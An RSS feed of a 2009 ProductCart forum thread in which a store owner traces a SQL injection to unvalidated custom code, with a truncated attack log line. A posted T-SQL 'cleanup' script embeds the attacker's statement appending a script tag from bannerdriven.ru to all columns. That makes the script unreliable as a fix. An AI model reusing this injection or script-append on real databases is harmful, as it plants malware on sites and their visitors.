<?xml version="1.0" encoding="utf-8" ?>
<?xml-stylesheet type="text/xsl" href="RSS_xslt_style.asp" version="1.0" ?>
<rss version="2.0" xmlns:WebWizForums="https://syndication.webwiz.net/rss_namespace/">
 <channel>
  <title>ProductCart Shopping Cart Software Forums : SQL injection victim?</title>
  <link>https://forum.productcart.com/</link>
  <description><![CDATA[This is an XML content feed of; ProductCart Shopping Cart Software Forums : Using ProductCart : SQL injection victim?]]></description>
  <copyright>Copyright (c) 2006-2013 Web Wiz Forums - All Rights Reserved.</copyright>
  <pubDate>Mon, 13 Apr 2026 12:49:11 +0000</pubDate>
  <lastBuildDate>Tue, 06 Oct 2009 15:25:42 +0000</lastBuildDate>
  <docs>http://blogs.law.harvard.edu/tech/rss</docs>
  <generator>Web Wiz Forums 12.04</generator>
  <ttl>360</ttl>
  <WebWizForums:feedURL>https://forum.productcart.com/RSS_post_feed.asp?TID=3062</WebWizForums:feedURL>
  <image>
   <title><![CDATA[ProductCart Shopping Cart Software Forums]]></title>
   <url>https://forum.productcart.com/forum_images/pc_logo_50.png</url>
   <link>https://forum.productcart.com/</link>
  </image>
  <item>
   <title><![CDATA[SQL injection victim? : I have written a little SQL Query...]]></title>
   <link>https://forum.productcart.com/sql-injection-victim_topic3062_post11561.html#11561</link>
   <description>
    <![CDATA[<strong>Author:</strong> <a href="https://forum.productcart.com/member_profile.asp?PF=1546">stsomeware</a><br /><strong>Subject:</strong> 3062<br /><strong>Posted:</strong> 06-October-2009 at 3:25pm<br /><br />I have written a little SQL Query to clean up our database after an attack. I cannot guarentee it will work for anyone else, but I have run it on 2 separate ProductCart stores that I work with and it worked just fine without&nbsp;losing&nbsp;any data. You will just need to change the <FONT size=3 face=Calibri>&lt;script src=http://www.bannerdriven.ru/ads.js&gt;&lt;/script&gt;</FONT><DIV>&nbsp;to the link that&nbsp;has been injected into&nbsp;your&nbsp;database. </DIV><DIV>&nbsp;</DIV><DIV></DIV><DIV></DIV><DIV>Here it is:</DIV><DIV>&nbsp;</DIV><DIV><P style="MARGIN: 0in 0in 0pt" =Ms&#111;normal><FONT size=3 face=Calibri>DECLARE @T varchar(255), @C varchar(255);</FONT></P><P style="MARGIN: 0in 0in 0pt" =Ms&#111;normal><FONT size=3 face=Calibri>DECLARE Table_Cursor CURSOR FOR</FONT></P><P style="MARGIN: 0in 0in 0pt" =Ms&#111;normal><FONT size=3 face=Calibri>SELECT a.name, b.name</FONT></P><P style="MARGIN: 0in 0in 0pt" =Ms&#111;normal><FONT size=3 face=Calibri>FROM sysobjects a, syscolumns b</FONT></P><P style="MARGIN: 0in 0in 0pt" =Ms&#111;normal><FONT size=3 face=Calibri>WHERE a.id = b.id AND a.xtype = 'u' AND</FONT></P><P style="MARGIN: 0in 0in 0pt" =Ms&#111;normal><FONT size=3 face=Calibri>(b.xtype = 99 OR</FONT></P><P style="MARGIN: 0in 0in 0pt" =Ms&#111;normal><FONT size=3 face=Calibri>b.xtype = 35 OR</FONT></P><P style="MARGIN: 0in 0in 0pt" =Ms&#111;normal><FONT size=3 face=Calibri>b.xtype = 231 OR</FONT></P><P style="MARGIN: 0in 0in 0pt" =Ms&#111;normal><FONT size=3 face=Calibri>b.xtype = 167);</FONT></P><P style="MARGIN: 0in 0in 0pt" =Ms&#111;normal><FONT size=3 face=Calibri>OPEN Table_Cursor;</FONT></P><P style="MARGIN: 0in 0in 0pt" =Ms&#111;normal><FONT size=3 face=Calibri>FETCH NEXT FROM Table_Cursor INTO @T, @C;</FONT></P><P style="MARGIN: 0in 0in 0pt" =Ms&#111;normal><FONT size=3 face=Calibri>WHILE (@@FETCH_STATUS = 0) BEGIN</FONT></P><P style="MARGIN: 0in 0in 0pt" =Ms&#111;normal><FONT size=3 face=Calibri>EXEC(</FONT></P><P style="MARGIN: 0in 0in 0pt" =Ms&#111;normal><FONT size=3 face=Calibri>'update &#091;'+@T+'&#093; set &#091;'+@C+'&#093; = left(</FONT></P><P style="MARGIN: 0in 0in 0pt" =Ms&#111;normal><FONT size=3 face=Calibri>convert(varchar(8000), &#091;'+@C+'&#093;),</FONT></P><P style="MARGIN: 0in 0in 0pt" =Ms&#111;normal><FONT size=3 face=Calibri>len(convert(varchar(8000), &#091;'+@C+'&#093;)) - 6 -</FONT></P><P style="MARGIN: 0in 0in 0pt" =Ms&#111;normal><FONT size=3 face=Calibri>patindex(''%tpircs&lt;%'',</FONT></P><P style="MARGIN: 0in 0in 0pt" =Ms&#111;normal><FONT size=3 face=Calibri>reverse(convert(varchar(8000), &#091;'+@C+'&#093;)))</FONT></P><P style="MARGIN: 0in 0in 0pt" =Ms&#111;normal><FONT size=3 face=Calibri>)</FONT></P><P style="MARGIN: 0in 0in 0pt" =Ms&#111;normal><FONT size=3 face=Calibri>where &#091;'+@C+'&#093; like ''%&lt;script%&lt;/script&gt;'''</FONT></P><P style="MARGIN: 0in 0in 0pt" =Ms&#111;normal><FONT size=3 face=Calibri>);</FONT></P><P style="MARGIN: 0in 0in 0pt" =Ms&#111;normal><FONT size=3 face=Calibri>FETCH NEXT FROM Table_Cursor INTO @T, @C;</FONT></P><P style="MARGIN: 0in 0in 0pt" =Ms&#111;normal><FONT size=3 face=Calibri>END;</FONT></P><P style="MARGIN: 0in 0in 0pt" =Ms&#111;normal><FONT size=3 face=Calibri>CLOSE Table_Cursor;</FONT></P><P style="MARGIN: 0in 0in 0pt" =Ms&#111;normal><FONT size=3 face=Calibri>DEALLOCATE Table_Cursor;</FONT></P><P style="MARGIN: 0in 0in 0pt" =Ms&#111;normal><?: prefix = o ns = "urn:schemas-microsoft-com:office:office" /><o:p><FONT size=3 face=Calibri>&nbsp;</FONT></o:p></P><P style="MARGIN: 0in 0in 0pt" =Ms&#111;normal><FONT size=3 face=Calibri>EXEC(</FONT></P><P style="MARGIN: 0in 0in 0pt" =Ms&#111;normal><FONT size=3 face=Calibri>'update &#091;' + @T + '&#093; set &#091;' + @C + '&#093; =</FONT></P><P style="MARGIN: 0in 0in 0pt" =Ms&#111;normal><FONT size=3 face=Calibri>rtrim(convert(varchar,&#091;' + @C + '&#093;))+</FONT></P><P style="MARGIN: 0in 0in 0pt" =Ms&#111;normal><FONT size=3 face=Calibri>''&lt;script src=http://www.bannerdriven.ru/ads.js&gt;&lt;/script&gt;'''</FONT></P><P style="MARGIN: 0in 0in 0pt" =Ms&#111;normal><FONT size=3 face=Calibri>);</FONT></P><P style="MARGIN: 0in 0in 0pt" =Ms&#111;normal><o:p><FONT size=3 face=Calibri>&nbsp;</FONT></o:p></P><P style="MARGIN: 0in 0in 0pt" =Ms&#111;normal><FONT size=3 face=Calibri>EXEC(</FONT></P><P style="MARGIN: 0in 0in 0pt" =Ms&#111;normal><FONT size=3 face=Calibri>'update &#091;'+@T+'&#093; set &#091;'+@C+'&#093; = left(</FONT></P><P style="MARGIN: 0in 0in 0pt" =Ms&#111;normal><FONT size=3 face=Calibri>convert(varchar(8000), &#091;'+@C+'&#093;),</FONT></P><P style="MARGIN: 0in 0in 0pt" =Ms&#111;normal><FONT size=3 face=Calibri>len(convert(varchar(8000), &#091;'+@C+'&#093;)) - 6 -</FONT></P><P style="MARGIN: 0in 0in 0pt" =Ms&#111;normal><FONT size=3 face=Calibri>patindex(''%tpircs&lt;%'',</FONT></P><P style="MARGIN: 0in 0in 0pt" =Ms&#111;normal><FONT size=3 face=Calibri>reverse(convert(varchar(8000), &#091;'+@C+'&#093;)))</FONT></P><P style="MARGIN: 0in 0in 0pt" =Ms&#111;normal><FONT size=3 face=Calibri>)</FONT></P><P style="MARGIN: 0in 0in 0pt" =Ms&#111;normal><FONT size=3 face=Calibri>where &#091;'+@C+'&#093; like ''&lt;script src=http://www.bannerdriven.ru/ads.js&gt;&lt;/script&gt;'''</FONT></P><P style="MARGIN: 0in 0in 0pt" =Ms&#111;normal><FONT size=3 face=Calibri>);</FONT></P></DIV>]]>
   </description>
   <pubDate>Tue, 06 Oct 2009 15:25:42 +0000</pubDate>
   <guid isPermaLink="true">https://forum.productcart.com/sql-injection-victim_topic3062_post11561.html#11561</guid>
  </item> 
  <item>
   <title><![CDATA[SQL injection victim? : Hi Brian,Thanks for updating the...]]></title>
   <link>https://forum.productcart.com/sql-injection-victim_topic3062_post11476.html#11476</link>
   <description>
    <![CDATA[<strong>Author:</strong> <a href="https://forum.productcart.com/member_profile.asp?PF=1">ProductCart</a><br /><strong>Subject:</strong> 3062<br /><strong>Posted:</strong> 25-September-2009 at 5:04pm<br /><br />Hi Brian,<br><br>Thanks for updating the post with this information. It's a good reminder for everyone to make sure all database input is sanitized per the instructions on the following page from our WIKI:<br><br><a href="http://wiki.earlyimpact.com/how_to/sanitize_strings" target="_blank">http://wiki.earlyimpact.com/how_to/sanitize_strings</a><br><br>Sincerely,<br><br>Early Impact<br>]]>
   </description>
   <pubDate>Fri, 25 Sep 2009 17:04:43 +0000</pubDate>
   <guid isPermaLink="true">https://forum.productcart.com/sql-injection-victim_topic3062_post11476.html#11476</guid>
  </item> 
  <item>
   <title><![CDATA[SQL injection victim? : Found the problem. We had added...]]></title>
   <link>https://forum.productcart.com/sql-injection-victim_topic3062_post11475.html#11475</link>
   <description>
    <![CDATA[<strong>Author:</strong> <a href="https://forum.productcart.com/member_profile.asp?PF=659">BrianRoden</a><br /><strong>Subject:</strong> 3062<br /><strong>Posted:</strong> 25-September-2009 at 4:00pm<br /><br />Found the problem. We had added some code in the footer.asp to check the current category and work back up the tree to the top-level category, then insert banner ad code from an Excel file based on the top-level category. I failed to check the idCategory with validNum, which allowed the stuff after the semicolon to get through.<DIV>&nbsp;</DIV><DIV>I do most of my development in ASP.net, using object data source and parameterized queries with stored procedures that check stuff on the back end.&nbsp; Not used to doing it the classic ASP way.</DIV>]]>
   </description>
   <pubDate>Fri, 25 Sep 2009 16:00:55 +0000</pubDate>
   <guid isPermaLink="true">https://forum.productcart.com/sql-injection-victim_topic3062_post11475.html#11475</guid>
  </item> 
  <item>
   <title><![CDATA[SQL injection victim? : Found this page   http://www...]]></title>
   <link>https://forum.productcart.com/sql-injection-victim_topic3062_post11471.html#11471</link>
   <description>
    <![CDATA[<strong>Author:</strong> <a href="https://forum.productcart.com/member_profile.asp?PF=659">BrianRoden</a><br /><strong>Subject:</strong> 3062<br /><strong>Posted:</strong> 25-September-2009 at 3:15pm<br /><br />Found this page <DIV>&nbsp;</DIV><DIV><a href="http://www.sophos.com/blogs/sophoslabs/v/post/1329" target="_blank">http://www.sophos.com/blogs/sophoslabs/v/post/1329</A></DIV><DIV>&nbsp;</DIV><DIV>then searched yesterday's IIS log for this site for the string SET%20 and found this</DIV><DIV>&nbsp;</DIV><SPAN lang=EN><SPAN lang=EN><P>2009-09-24 16:40:03 W3SVC6487 servername se.rv.er.ip GET /cart/pc/viewCategories.asp idCategory=2;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C4152452040542056&nbsp; </P><DIV></DIV><DIV>(I've omitted the full string for security purposes)</DIV><DIV>&nbsp;</DIV><DIV>I'll open a support ticket with the complete string</SPAN></SPAN></DIV><span style="font-size:10px"><br /><br />Edited by BrianRoden - 25-September-2009 at 3:17pm</span>]]>
   </description>
   <pubDate>Fri, 25 Sep 2009 15:15:45 +0000</pubDate>
   <guid isPermaLink="true">https://forum.productcart.com/sql-injection-victim_topic3062_post11471.html#11471</guid>
  </item> 
  <item>
   <title><![CDATA[SQL injection victim? : The RSS feed is its own app in...]]></title>
   <link>https://forum.productcart.com/sql-injection-victim_topic3062_post11470.html#11470</link>
   <description>
    <![CDATA[<strong>Author:</strong> <a href="https://forum.productcart.com/member_profile.asp?PF=659">BrianRoden</a><br /><strong>Subject:</strong> 3062<br /><strong>Posted:</strong> 25-September-2009 at 1:43pm<br /><br />The RSS feed is its own app in ISS, with its own separate log files, new file each day. The last log file was from 9/18/09. Doesn't look like this was the vector, or we would have had an entry for yesterday. We know yesterday is when the problem started, because Thursday night's DB backup was clean and we were able to restore it to get the DB back to normal.<DIV>&nbsp;</DIV><DIV>Searching the ISS log for the PC site, the first occurrence of bannerdriven.ru shows up at 4:40 p.m. yesterday. I'm going to keep digging.</DIV>]]>
   </description>
   <pubDate>Fri, 25 Sep 2009 13:43:11 +0000</pubDate>
   <guid isPermaLink="true">https://forum.productcart.com/sql-injection-victim_topic3062_post11470.html#11470</guid>
  </item> 
  <item>
   <title><![CDATA[SQL injection victim? : Yes, the query string that carries...]]></title>
   <link>https://forum.productcart.com/sql-injection-victim_topic3062_post11469.html#11469</link>
   <description>
    <![CDATA[<strong>Author:</strong> <a href="https://forum.productcart.com/member_profile.asp?PF=1">ProductCart</a><br /><strong>Subject:</strong> 3062<br /><strong>Posted:</strong> 25-September-2009 at 1:29pm<br /><br />Yes, the query string that carries the category ID would be the first thing to review. Incorrectly sanitizing a query string is normally the number one culprit for SQL injection.]]>
   </description>
   <pubDate>Fri, 25 Sep 2009 13:29:09 +0000</pubDate>
   <guid isPermaLink="true">https://forum.productcart.com/sql-injection-victim_topic3062_post11469.html#11469</guid>
  </item> 
  <item>
   <title><![CDATA[SQL injection victim? : Using GreyBeard&amp;#039;s session...]]></title>
   <link>https://forum.productcart.com/sql-injection-victim_topic3062_post11468.html#11468</link>
   <description>
    <![CDATA[<strong>Author:</strong> <a href="https://forum.productcart.com/member_profile.asp?PF=659">BrianRoden</a><br /><strong>Subject:</strong> 3062<br /><strong>Posted:</strong> 25-September-2009 at 1:21pm<br /><br />Using GreyBeard's session saver add-in. <DIV>&nbsp;</DIV><DIV>We've made minor mods to source code on some of our PC sites (we have 3). Rearranging layouts, changing the Continue Shopping button on the shopping cart page to go back to the category the user just bought from, instead of back to the home page. </DIV><DIV>&nbsp;</DIV><DIV>We added an RSS feed as an ASPX app in a subfolder to display the newest products per category for people who want to subscribe to get updates on their craft of interest. It accesses the same DB and works off an URL that has a category ID passed in the query string. Wonder if someone used the RSS URL.</DIV><DIV>&nbsp;</DIV><DIV>I'll check the ISS logs.</DIV>]]>
   </description>
   <pubDate>Fri, 25 Sep 2009 13:21:39 +0000</pubDate>
   <guid isPermaLink="true">https://forum.productcart.com/sql-injection-victim_topic3062_post11468.html#11468</guid>
  </item> 
  <item>
   <title><![CDATA[SQL injection victim? : Two of us posted at the same time...]]></title>
   <link>https://forum.productcart.com/sql-injection-victim_topic3062_post11467.html#11467</link>
   <description>
    <![CDATA[<strong>Author:</strong> <a href="https://forum.productcart.com/member_profile.asp?PF=1">ProductCart</a><br /><strong>Subject:</strong> 3062<br /><strong>Posted:</strong> 25-September-2009 at 12:46pm<br /><br />Two of us posted at the same time :-)<br /><br />The idea is the same, as you can see. You need to review any modifications ever made to your ProductCart source code to ensure that they did not introduce a security issue.]]>
   </description>
   <pubDate>Fri, 25 Sep 2009 12:46:19 +0000</pubDate>
   <guid isPermaLink="true">https://forum.productcart.com/sql-injection-victim_topic3062_post11467.html#11467</guid>
  </item> 
  <item>
   <title><![CDATA[SQL injection victim? : Brian,   we don&amp;#039;t have any...]]></title>
   <link>https://forum.productcart.com/sql-injection-victim_topic3062_post11466.html#11466</link>
   <description>
    <![CDATA[<strong>Author:</strong> <a href="https://forum.productcart.com/member_profile.asp?PF=1">ProductCart</a><br /><strong>Subject:</strong> 3062<br /><strong>Posted:</strong> 25-September-2009 at 12:43pm<br /><br />Brian, <br /><br />we don't have any reports of any vulnerabilities in ProductCart v3.51. In our experience, the number one source of security holes is custom code:<br /><br />- have you modified any of the source code?<br />- are you running any add-on's not provided by Early Impact?<br /><br />Since some of the information might be confidential, we recommend that you open a support ticket.]]>
   </description>
   <pubDate>Fri, 25 Sep 2009 12:43:33 +0000</pubDate>
   <guid isPermaLink="true">https://forum.productcart.com/sql-injection-victim_topic3062_post11466.html#11466</guid>
  </item> 
  <item>
   <title><![CDATA[SQL injection victim? : Hi,&#194;&#160;&#194;&#160; You will need to get the...]]></title>
   <link>https://forum.productcart.com/sql-injection-victim_topic3062_post11465.html#11465</link>
   <description>
    <![CDATA[<strong>Author:</strong> <a href="https://forum.productcart.com/member_profile.asp?PF=303">Hamish</a><br /><strong>Subject:</strong> 3062<br /><strong>Posted:</strong> 25-September-2009 at 12:43pm<br /><br />Hi,  <br />You will need to get the database restored from a backup and investigate the logs to see if you can determine the source of the breach.We are not aware of any exploitable vulnerabilities in ProductCart v3.51 code.<br /><br />If you have made modifications please make sure the data is sanatized correctly, see <br /> - <a href="http://wiki.earlyimpact.com/how_to/sanitize_strings" target="_blank">http://wiki.earlyimpact.com/how_to/sanitize_strings</a>  <br /><br />Also see<br /> - <a href="http://wiki.earlyimpact.com/productcart/securityrec#stores_using_a_ms_sql_database" target="_blank">http://wiki.earlyimpact.com/productcart/securityrec#stores_using_a_ms_sql_database</a> <br /><br />I would also recommend checking that no other files on the site have been modified.<br /><br />Hamish<br /><span style="font-size:10px"><br /><br />Edited by earlyimp - 25-September-2009 at 12:45pm</span>]]>
   </description>
   <pubDate>Fri, 25 Sep 2009 12:43:20 +0000</pubDate>
   <guid isPermaLink="true">https://forum.productcart.com/sql-injection-victim_topic3062_post11465.html#11465</guid>
  </item> 
 </channel>
</rss>